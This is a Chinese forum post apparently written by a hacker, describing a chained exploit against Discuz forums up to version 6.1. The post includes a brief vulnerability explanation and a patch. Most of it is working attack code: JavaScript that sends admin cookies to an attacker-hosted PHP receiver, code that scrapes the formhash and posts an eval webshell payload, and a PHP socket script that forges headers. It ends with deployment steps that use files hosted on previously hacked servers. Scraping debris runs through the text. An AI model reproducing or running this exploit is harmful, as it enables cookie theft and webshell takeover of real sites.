Discuz XSS得webshell4 b1 d0 I& Y4 Z6 \/ R9 U
By racle @tian6.com6 l- }1 G3 z2 `# a% Y
欢迎转帖.但请保留版权信息.
- L+ n; n5 m: f) D5 P% W1 K受影响版本 iscuz<=6.1.0,gbk+utf+big5; H6 Q* O/ p: h' L$ L! s! l3 y1 ^
* N) K& g- z3 H9 \
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
( k0 E: V# p6 z7 q2 v' S9 h, u
* G' n0 k& O4 W2 ~9 A
, C% V& Y: }. Q( y8 a, `; p3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
+ r, R7 Z3 `. M! S3 \当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.: o( H/ w$ I B8 r/ p. U8 N6 u( V
4 S3 C3 i( n; [4 a! U
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
6 Z( Y$ T3 h; {# Z, V% m. R! Y本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS+ j# O3 v7 j' P9 e4 O
! r+ ?- ?3 a$ y, v/ y2 n0 Z Y, P: }4 A) A5 {3 N" r: l5 K6 Q
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
7 o( {/ e$ x& Q! o/ I' X: W
4 |* Z# l c$ q( }) ^3 u& Q% ~3 [8 d: c' b. c- I( m! I3 \
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
: }( F# ]6 Y1 v+ @! J7 X
* o5 \) M9 \/ o8 Q$ ^# B$ l) }problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.8 H; K- C% ? L; F0 {
2 v: D, l) D8 q: P" C# hproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.. G" j* `+ N$ v) {( P" O% l
3 K1 ?9 `+ T/ R! Q* c" d; b2 ?; ?
( r' } k& L/ n8 c
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {- p T' O$ ^! t W# ?+ |
( ]# C5 T( k& s4 S/ u, B, k8 c global $runwizardfile, $runwizardhistory;
3 J0 j2 b6 e. |2 \, b1 i" B- e2 c
1 U1 u% m" s& g& S4 ]; M, P) v $fp = fopen($runwizardfile, 'w');
* T$ a" R1 T2 c" G& O0 A
/ P5 P3 @' X& p6 m6 ~ fwrite($fp, serialize($runwizardhistory));
- N3 k- j4 `! s* Y; S! c$ e# M- a2 q8 }. L( _0 \# E
fclose($fp);, p: v, _1 A: y4 n8 J' r
5 c3 c A. P5 K+ G5 p
} C' c" z! Y _' P
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
* ~0 y* N( G: ^0 e2 U! ^5 b以下是修补的办法:function saverunwizardhistory() {8 i3 `* Z/ r5 x! y
' k6 _7 H( s# a3 n global $runwizardfile, $runwizardhistory;
, y* x8 A7 h* t W( o2 r# ~6 s. ?+ w
$fp = fopen($runwizardfile, 'w');# Y" E& w7 h h9 N) F7 q: @
8 R: h. A1 r! l: B
$s = '<?php exit;?>';
8 x Y: u$ }' Y, c6 ~( [
% m) M& K9 r7 I+ s $s .= serialize($runwizardhistory);( j$ T4 Y1 \1 T
+ F2 M8 h% i3 }+ R5 `& Y( i- @
fwrite($fp, $s);9 D6 U2 P) J" F! z
6 @1 K& a2 y0 f0 [ o( E
fclose($fp);7 I: F4 @" }7 B( G- i
+ I. m- C6 a+ [! e- E0 q}
B2 `4 F) N0 l5 m复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.) Q* Q- U0 A! M0 g8 Q+ q
! U, k# f2 g3 y' o# t, z! y
1 \7 {2 `" \. j' b* k
- e, v! c4 [ T8 q
----------------------------------------漏洞的成因和利用方法分隔线----------------------------------------------------------------------------- \& V( `- J0 \3 Y6 _
5 }2 [ s1 {- ? i5 Y/ B& E3 x% C8 D2 N' G3 Y0 j+ z
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
7 I) M) m. y( H
! ]9 b4 m3 C) x我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
) ?; K, x* \% E- \' v! D& t( q& I* N5 o
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.5 I R9 h c0 [& }
% W. t- y& ]7 n# L/ H: D首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
, S8 |3 \/ Z' J+ ]( g
- a, j6 @- Q3 I7 q q zvar url="http://目标网站/admincp.php";
$ `$ N+ `& r$ Z0 z) k, ~" O6 u$ m
8 |5 A$ q+ p! H- t8 H' u$ r/*获得cookies*/! I, C9 j/ b* [
5 [. K8 d2 P9 d. e+ N0 w5 F
function getURL(s) {
4 J7 k; s4 a# J8 h1 S
9 @0 O. u3 s& J: kvar image = new Image();
$ V, u6 c+ q: b v" e4 F
# {/ M- N. R8 A' |4 s! n x" Iimage.style.width = 0;
- Q- @' w$ X$ d. m8 |0 \) a
9 R! y% ?( Z1 Z/ x8 d$ t! C; M5 qimage.style.height = 0;
7 I: D; O. N. d! u9 g
9 z/ i1 I) b$ E8 H2 aimage.src = s;+ N8 j0 U) g+ E% O! a( |7 o
^4 c" I9 Q4 r. U1 K2 p
}
1 u# B# N) }: j/ E6 V& R; v" U
- M5 R0 b9 y, j0 C" y! T' C# \getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
! H* ]) O8 x5 A& l* d7 x复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
. _8 `" m; v, ?2 u. l复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 2 _* {9 h3 j! T2 y" E6 O f5 l
, z" N+ a+ Q9 ?) q
* l+ x j! G4 G# b* s4 o( T* K( F获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
3 x2 I- ]; p: G1 Y* O, M% l J
% J' p: m: v& B) K, ^, S, k
3 S0 `# v T B% |( H
! |4 l' K; U( m/*hash*/. f$ ?! S' f& Q3 o
3 s v, U7 a j8 w5 x' R
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
" d) |$ O* ~. u& m3 F3 E
0 _% X7 I1 a5 `* A+ fxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
# t& M6 W3 w6 T
' o1 U2 ]# V% z. rxmlHttpReq.send();
2 e+ \1 y2 S7 Q( B7 p9 v7 a, W0 K
var resource = xmlHttpReq.responseText;: p$ X4 E3 c1 b
" u* M: e$ l! d
var numero = resource.search(/formhash/);
3 |& }* D2 e( q3 H8 [% l9 {+ x+ [0 B! D/ u( P% I6 I9 @
var formhash=encodeURIComponent(resource.substr(numero+17,8));
' X m g+ d4 q5 N! L$ A4 i6 b- {1 l) y- v: A0 D1 t. L, R
' z! |, z% |8 m% K+ z, ?! Y
: h: x- m: _2 U% M1 v1 i
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 $ @7 A: [( d8 Y/ z3 \
. L9 e! \! b* v Y: @% x! u9 ^
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
- x' k7 I4 D% B& X' M
' b. P- }) l0 O2 [+ f0 c6 I0 m7 axmlHttpReq.setRequestHeader("Referer", url);& K0 G( {4 k, o
- `6 Q# T/ y7 M/ G/ OxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
. f4 a1 o, q$ ]- j. X3 t1 `9 Y J' F# J# E& W5 E+ e
xmlHttpReq.setrequestheader("content-length",post.length);
8 }/ R; c; c) p: ^ y/ {# k
5 y* u5 Y# r6 A3 Q( vxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
2 p6 t7 z6 w- N7 k# s
6 ?1 i! Z$ [6 Q# x/ HxmlHttpReq.send(post);//发送数据8 Y2 P4 U2 T4 L( E& c4 t3 ~
复制代码这里HASH我假设正确,这样提交,也无须cookies: y/ A/ I- {- U
# o, G l) H+ x/ W% X: Y) J再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
- W, [2 `! w3 J5 h: p3 c) x v- K4 Q$ E# ?
if (!$sock) die("$errstr ($errno)\n");; E3 A& x9 O' h* ^8 M" t4 h8 i# c6 R
3 d3 Z! s; b, ?5 p; Q$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';( i1 N% a |6 R0 T) z4 s: w% W
) s! ~( x. E7 v$ B( O, ~
0 |" F% w+ I4 b$ P( k! U7 B+ Z: P" L
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");7 J# L0 {" V6 n* Q6 q7 f) Y# F& P
* {4 Z& k5 C( u; Z) S5 a; {fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
2 `- m2 g0 n# Y6 F; T% p/ C7 E
! m6 w2 _1 H) x4 Q3 X. V* m% Wfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
' Y7 W; ^) H) }* [2 v
/ v( Y# r g" g) f* W' R$ \1 w! Hfwrite($sock, "Accept-Language: zh-cn\r\n");
! i7 u* d& Q0 I* u$ [1 i8 e
- o3 c, S+ e/ p6 v& o) sfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
: r& p2 i& Y0 }- Y8 x4 [% {3 @8 u' q- l# r9 M. }! h# D9 x" t/ R
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");; p6 D, n1 Q3 M, ~: I
3 R8 r$ Z$ {+ h& c5 T# Jfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
, Q. D% @. h. l1 E
7 Q1 R; }9 f: O5 ? r. B' _fwrite($sock, "Host: $url\r\n");
* H5 n- r" G: @; @. E5 O5 p. a2 ~6 Y- [, w
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
) s" {0 b3 h9 A3 F; f% R: `: U/ S: d
fwrite($sock, "Connection: Keep-Alive\r\n");% Q1 @& C0 g1 I
7 \8 z& W0 ~. l$ }4 a
fwrite($sock, "Cache-Control: no-cache\r\n");9 F1 o+ {& ~! ]8 v2 }
2 J6 i1 j+ n; ~: y* P' {$ V
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");. A: j7 ^% e0 O W5 l' @$ s
- P- q+ ^: E& [, M3 bfwrite($sock, $data);
1 }- A2 [% E% @$ b7 O' B3 N/ n3 d1 e* _
3 W5 v) ]/ p/ q4 _. i& K8 y* C' b1 Z/ j/ m, J3 B- f
$headers = "";
' b$ g( K9 h2 o! I. P s4 V1 c( i4 Q" h1 w3 M
while ($str = trim(fgets($sock, 4096)))
8 R8 E8 e. G# c% s1 ^
2 d6 w+ @9 e; a! E1 V/ |0 U7 D0 N( n $headers .= "$str\n";
& n7 r0 D; C8 u. F
: s8 `8 Y* d% F5 ]echo "\n";
6 F/ X0 m! Q1 s* H7 p3 i$ W; R; k3 ^) G
$body = "";
9 t! c! I) V' o
7 M9 X( V4 I( B4 f8 |" vwhile (!feof($sock))8 a5 T1 t) o0 f% k; J1 D2 U' s
1 Y/ {2 P) Q6 r6 \2 |" C $body .= fgets($sock, 4096);( e/ _7 I+ O) L' ~5 [
, Y0 d. M9 m" o! X' ifclose($sock);
4 }9 @% R: Y* }: x( k9 z0 Z O% n1 _3 b8 ?6 U
echo $body;
* p/ D+ o8 j- m; c9 x1 A复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^0 j6 p5 o3 W" y Z6 n- r9 s
- L1 _! X6 r- H: p$ M2 D Y# N4 c# G4 G
-------------------------------------------XSS文件分析分隔线------------------------------------------------------------------------------ G s0 G# o5 B3 r
* t2 r+ D& K, ]+ ~
' `* s/ c& a) s% s0 s: I# X2 ?
1 HP SOCKET利用方法首先打开racle.js# }, k, @) O; k) g0 X z, B' z J. Y
. o) Q# Q+ _6 ^( F$ i
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
: Q- O" d; r2 W1 s' [0 `
1 j6 d! A! B _& \3 t+ c* y' `
3 m9 a' Q2 C2 t H* T, v/ O
6 p' O3 A+ u' F$ }8 q! a; \0 p! }然后打开racle@tian6.php: N+ {) V! _. [9 |4 c6 ^
F$ S$ A+ p/ \( ^$ @$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com |8 ?. U \4 g
5 z- R8 j( K2 E+ z/ l
& b' x4 i& q; X4 G+ |- g; E: [+ Q! R) M0 _2 H& L6 P
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
" z; q9 |) A6 k6 T4 X. o/ s# s: k1 ?2 [0 g1 ~5 e
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
0 }; q; h/ Q* b
7 {1 X8 z E# j2 C- a为( w9 G: k. L1 q" \$ G; A
[; q% {) C; _' a) }+ t, t8 ngetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
- |) T+ C1 s' `5 o复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
* i0 \2 k/ {5 Q* f' ~
4 U, @8 h7 h( v% u1 o" K& R4 Y# ^! x% K6 i- c/ p n
2 w% r* P( A1 r7 D7 t/ e
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改: B; c4 S" j" M5 @4 C+ ^
. {- J# a% a; F7 K0 n
var formhash=encodeURIComponent(resource.substr(numero+17,8));7 H! U W3 ^ L t
3 L" Z9 V& d. f* C, ?为
$ N# o4 g9 w5 l% G- [7 _9 D* t/ Z% \* ~; m; J0 y
var formhash=encodeURIComponent(resource.substr(numero+9,8));- R0 K2 Z! I9 W
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.. q" m0 b# C( a3 Y+ g! D& o
8 f+ I0 p5 k$ @4 O
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
) Z& u4 S, q/ V0 `5 @: t2 K1 V1 h z' Q. M, B. v% v
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点., L: y& j+ k/ V" Q( Z
$ d3 v4 n2 X8 \ f不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
" T9 b3 G0 G, i6 D1 c9 F
! Y; o8 u" T/ L7 ~* a2 Z |